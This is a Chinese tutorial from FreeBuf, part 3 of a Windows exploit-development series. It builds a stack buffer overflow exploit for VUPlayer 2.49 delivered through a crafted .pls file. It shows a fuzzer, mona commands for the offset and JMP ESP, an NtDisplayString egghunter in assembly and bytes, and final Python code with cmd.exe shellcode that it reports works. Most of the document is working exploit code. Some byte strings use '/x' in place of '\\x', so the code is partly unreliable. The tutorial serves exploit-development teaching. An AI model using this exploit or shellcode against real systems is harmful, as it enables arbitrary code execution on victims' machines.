Windows漏洞利用开发教程Part 3:Egghunter

* 本文作者:zusheng,本文属FreeBuf原创奖励计划,未经许可禁止转载

Windows漏洞利用开发教程Part 3:Egghunter

0×01 前言

漏洞-信息安全界最常见的词汇,在百度百科是这样描述的。

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。

本文主要介绍的是Windows软件漏洞的利用开发教程。

我花了大量的时间来研究了计算机安全领域Windows漏洞利用开发,希望能和大家分享一下,能帮助到对这方面感兴趣的朋友,如有不足,还请见谅。

0×02 准备阶段

欢迎阅读本系列文章的第三部分,如果你错过了第二部分,请点击下方传送门。

http://www.freebuf.com/articles/system/167959.html

本部分我们将利用Egg hunter技术在堆栈中查找shellcode。

我们需要准备以下工具:

1、Windows XP SP3 32-bit系统iso镜像  2、Immunity Debugger-漏洞分析专用调试器  3、代码文本编辑器(个人喜好,我用的是notepad++)  4、VUPlayer 2.49  

VUPlayer是一款Windows平台下免费的多格式音频播放器,我们的目标是VUPlayer版本2.49,你可以通过下面链接下载存在漏洞的程序。

https://www.exploit-db.com/apps/39adeb7fa4711cd1cac8702fb163ded5-vuplayersetup.exe  

软件下载安装

Windows漏洞利用开发教程Part 3:Egghunter

Egg hunter

如果可用缓冲区太小不能将我们的shellcode存放,这时就需要Egg hunter技术来帮助我们了,它可以让你使用少量自定义shellcode来查找实际的shellcode,换句话说,首先执行少量代码,然后尝试查找真正的shellcode并执行。

0×03 漏洞开发分析

首先,我们要了解如何才能使目标程序崩溃。

漏洞存在地址:

https://www.exploit-db.com/exploits/7695/

通过分析漏洞POC我们得知目标程序在打开pls文件发生了堆栈缓冲区溢出,现在我们来写一个fuzzer poc来帮助我们确认溢出。

# -*- coding: UTF-8 -*-  low_size = 2000            #数据总大小  juck = 'A' * low_size     #测试字符串  plspayload = juck  plsfp = open("payload.pls","w")    #生成测试Payload文档  plsfp.write(plspayload);  plsfp.close()  

打开payload.pls,崩溃发生。

Windows漏洞利用开发教程Part 3:Egghunter

调试确认漏洞

现在用Immunity Debugger打开VUPlayer并点击Run(F9)

Windows漏洞利用开发教程Part 3:Egghunter

接下来打开测试payload.pls文件

Windows漏洞利用开发教程Part 3:Egghunter

确认EIP地址被覆盖,确认缓冲区被我们占领,非常有趣。

寻找EIP offset

确认完漏洞,接下来我们就要寻找EIP offset来控制EIP的值。

主要使用到mona插件,具体请看第一部分:

!mona pc 2000  !mona pattern_offset 0x68423768  

Windows漏洞利用开发教程Part 3:Egghunter

很快我们就找到了偏移量1012.

测试一下EIP是否被准确覆盖。

# -*- coding: UTF-8 -*-  import struct  low_size = 2000            #数据总大小  juck = '/x41' * 1012    #测试字符串  eip = struct.pack("<L", 0x42434445)#覆盖EIP为0x42434445  payload = juck + eip                     #组合payload  end = "/x43"*(low_size - len(payload)) #填补剩余的空间确保溢出  plspayload = payload +end          plsfp = open("payload.pls","w")#生成测试Payload文档  plsfp.write(plspayload);  plsfp.close()  

EIP被准确覆盖

Windows漏洞利用开发教程Part 3:Egghunter

这证明我们能精准控制EIP地址,偏移量是正确的。

寻找合适的地址覆盖EIP

第一部分有介绍,这里我们就直接操作了,运行下列指令我们将得到一个jmp.txt

!mona jmp -r esp  

Windows漏洞利用开发教程Part 3:Egghunter

然后我们就得到一个地址0x7c8369f0,这个就是我们需要的EIP地址。

0×04 Egg hunter 介绍及构建

现在我们先更新一下python脚本,然后加入测试shellcode来看看堆栈情况。

# -*- coding: UTF-8 -*-  import struct  low_size = 2000            #数据总大小  juck = '/x41' * 1012    #测试字符串  eip = struct.pack("<L", 0x7c8369f0)#覆盖EIP为0x7c8369f0  nops = "/x90" * 24  shellcode = "/xCC" * 40                    #测试shellcode  payload = juck + eip + nops    + shellcode #组合payload  end = "/x43"*(low_size - len(payload))  #填补剩余的空间确保溢出  plspayload = payload + end          plsfp = open("payload.pls","w")#生成测试Payload文档  plsfp.write(plspayload);  plsfp.close()  

用Immunity Debugger打开VUPlayer并点击Run,然后打开脚本生成的测试payload.pls文件

Windows漏洞利用开发教程Part 3:Egghunter

这看起来并没有什么问题,我们可以用真实的shellcode来代替了。但这真心不是本文的重点,我们来给自己加点挑战,假如我们没有足够的空间来存放超过32字节的代码,而且也没其他寄存器选择,这时候该怎么办?这看来运气有点不好,但它确实很有意思。

解决的办法就是我们需要去构建一个非常小的汇编语言程序,这个程序能够搜索并执行我们的shellcode。那么它是怎么找到shellcode呢?所以我们shellcode要定义一个独特的标签,这样当它发现这个标签时,它会知道它找到了shellcode,然后再执行。

Egg hunter 的构建

我们将使用基于NtDisplayString技术的egghunter代码,当然这个不是我凭空写出来的,代码本身是公布的,我只是改了标签。

6681CAFF0F     or dx,0x0fff            ;通过添加循环遍历内存中的页面  42             inc edx                    ;循环遍历每一个地址                  52             push edx                ;入栈操作                  6A43         push byte +0x43         ;NtDisplayString的系统调用ID              58             pop eax                 ;出栈操作,其实就是作参数  CD2E         int 0x2e                 ;调用NtDisplayString              3C05        cmp al,0x5                 ;对比操作  5A            pop edx                    ;出栈操作                  74EF        jz 0x0                     ;如果ZF标志由CMP指令设置,则存在访问冲突  ;无效页面,回到顶部  B874303077    mov eax,0x7a757368        ;标签(7a 75 73 68 = zush)   8BFA        mov edi,edx                ;将EDI设置为EDX的当前地址指针以用于SCASD指令          AF            scasd                     ;将EAX中的值与DWORD值进行比较  ;在SCASD比较后相应地设置EFLAGS寄存器,这里比较两次才算真正的发现shellcode  75EA        jnz 0x5   AF            scasd                                                   75E7        jnz 0x5  FFE7        jmp edi  

它的工作原理就是循环遍历内存页面,发现每个地址的数据,然后将这个数据值与我们给它的唯一标签进行匹配,如果它发现数据与标签匹配,则它跳转到该地址并开始执行shellcode。

现在我们来更新一下python脚本

# -*- coding: UTF-8 -*-  import struct  low_size = 2000            #数据总大小  juck = '/x41' * 1012    #测试字符串  eip = struct.pack("<L", 0x7c8369f0)#覆盖EIP为0x7c8369f0  nops = "/x90" * 24  egghunter = "/x66/x81/xCA/xFF/x0F/x42/x52/x6A/x43/x58/xCD/x2E/x3C/x05/x5A/x74/xEF/xB8"  egghunter += "zush" #标志  egghunter += "/x8B/xFA/xAF/x75/xEA/xAF/x75/xE7/xFF/xE7"  egg = "zushzush" # 标签 x 2  shellcode = "/xCC"*300 # 用INT指令模拟shellcode  payload = juck + eip + egghunter + egg + nops + shellcode #组合payload  end = "/x43"*(low_size - len(payload)) #填补剩余的空间确保溢出  plspayload = payload + end          plsfp = open("payload.pls","w")#生成测试Payload文档  plsfp.write(plspayload);  plsfp.close()  

用Immunity Debugger打开VUPlayer并点击Run,然后打开脚本生成的测试payload.pls文件

Windows漏洞利用开发教程Part 3:Egghunter

你可以在堆栈看到我们的标志,也可以使用Mona命令

!mona find -s "zushzush"  

Windows漏洞利用开发教程Part 3:Egghunter

0×05 漏洞利用开发

现在整个开发就很简单了,我们来更新一下python脚本

# -*- coding: UTF-8 -*-  import struct  low_size = 2000            #数据总大小  juck = '/x41' * 1012    #测试字符串  eip = struct.pack("<L", 0x7c8369f0)#覆盖EIP为0x7c8369f0  nops = "/x90" * 24  egghunter = "/x66/x81/xCA/xFF/x0F/x42/x52/x6A/x43/x58/xCD/x2E/x3C/x05/x5A/x74/xEF/xB8"  egghunter += "zush" #标志  egghunter += "/x8B/xFA/xAF/x75/xEA/xAF/x75/xE7/xFF/xE7"  egg = "zushzush" # 标签 x 2  badcode = "/x42"*248        #证明即使shellcode空间不足,exploit仍然可以工作  #cmd.exe shellcode  shellcode = "/xFC/x33/xD2/xB2/x30/x64/xFF/x32/x5A/x8B"  shellcode += "/x52/x0C/x8B/x52/x14/x8B/x72/x28/x33/xC9"  shellcode += "/xB1/x18/x33/xFF/x33/xC0/xAC/x3C/x61/x7C"  shellcode += "/x02/x2C/x20/xC1/xCF/x0D/x03/xF8/xE2/xF0"  shellcode += "/x81/xFF/x5B/xBC/x4A/x6A/x8B/x5A/x10/x8B"  shellcode += "/x12/x75/xDA/x8B/x53/x3C/x03/xD3/xFF/x72"  shellcode += "/x34/x8B/x52/x78/x03/xD3/x8B/x72/x20/x03"  shellcode += "/xF3/x33/xC9/x41/xAD/x03/xC3/x81/x38/x47"  shellcode += "/x65/x74/x50/x75/xF4/x81/x78/x04/x72/x6F"  shellcode += "/x63/x41/x75/xEB/x81/x78/x08/x64/x64/x72"  shellcode += "/x65/x75/xE2/x49/x8B/x72/x24/x03/xF3/x66"  shellcode += "/x8B/x0C/x4E/x8B/x72/x1C/x03/xF3/x8B/x14"  shellcode += "/x8E/x03/xD3/x52/x68/x78/x65/x63/x01/xFE"  shellcode += "/x4C/x24/x03/x68/x57/x69/x6E/x45/x54/x53"  shellcode += "/xFF/xD2/x68/x63/x6D/x64/x01/xFE/x4C/x24"  shellcode += "/x03/x6A/x05/x33/xC9/x8D/x4C/x24/x04/x51"  shellcode += "/xFF/xD0/x68/x65/x73/x73/x01/x8B/xDF/xFE"  shellcode += "/x4C/x24/x03/x68/x50/x72/x6F/x63/x68/x45"  shellcode += "/x78/x69/x74/x54/xFF/x74/x24/x20/xFF/x54"  shellcode += "/x24/x20/x57/xFF/xD0"  payload = juck + eip + egghunter + badcode + egg + nops + shellcode #组合payload  end = "/x43"*(low_size - len(payload)) #填补剩余的空间确保溢出  plspayload = payload + end          plsfp = open("payload.pls","w")#生成测试Payload文档  plsfp.write(plspayload);  plsfp.close()  

用Immunity Debugger打开VUPlayer并点击Run,然后打开脚本生成的测试payload.pls文件

Windows漏洞利用开发教程Part 3:Egghunter

exploit成功,cmd窗口打开了。

0×06 总结

本文我们主要了介绍了一种有趣的技术Egg hunter,了解了Egg hunter的应用场景以及如何利用Egg hunter技术解决堆栈存放shellcode空间不足的问题。最后,还是那句话,本人水平有限,如有不足,还请各位兄弟指出。

* 本文作者:zusheng,本文属FreeBuf原创奖励计划,未经许可禁止转载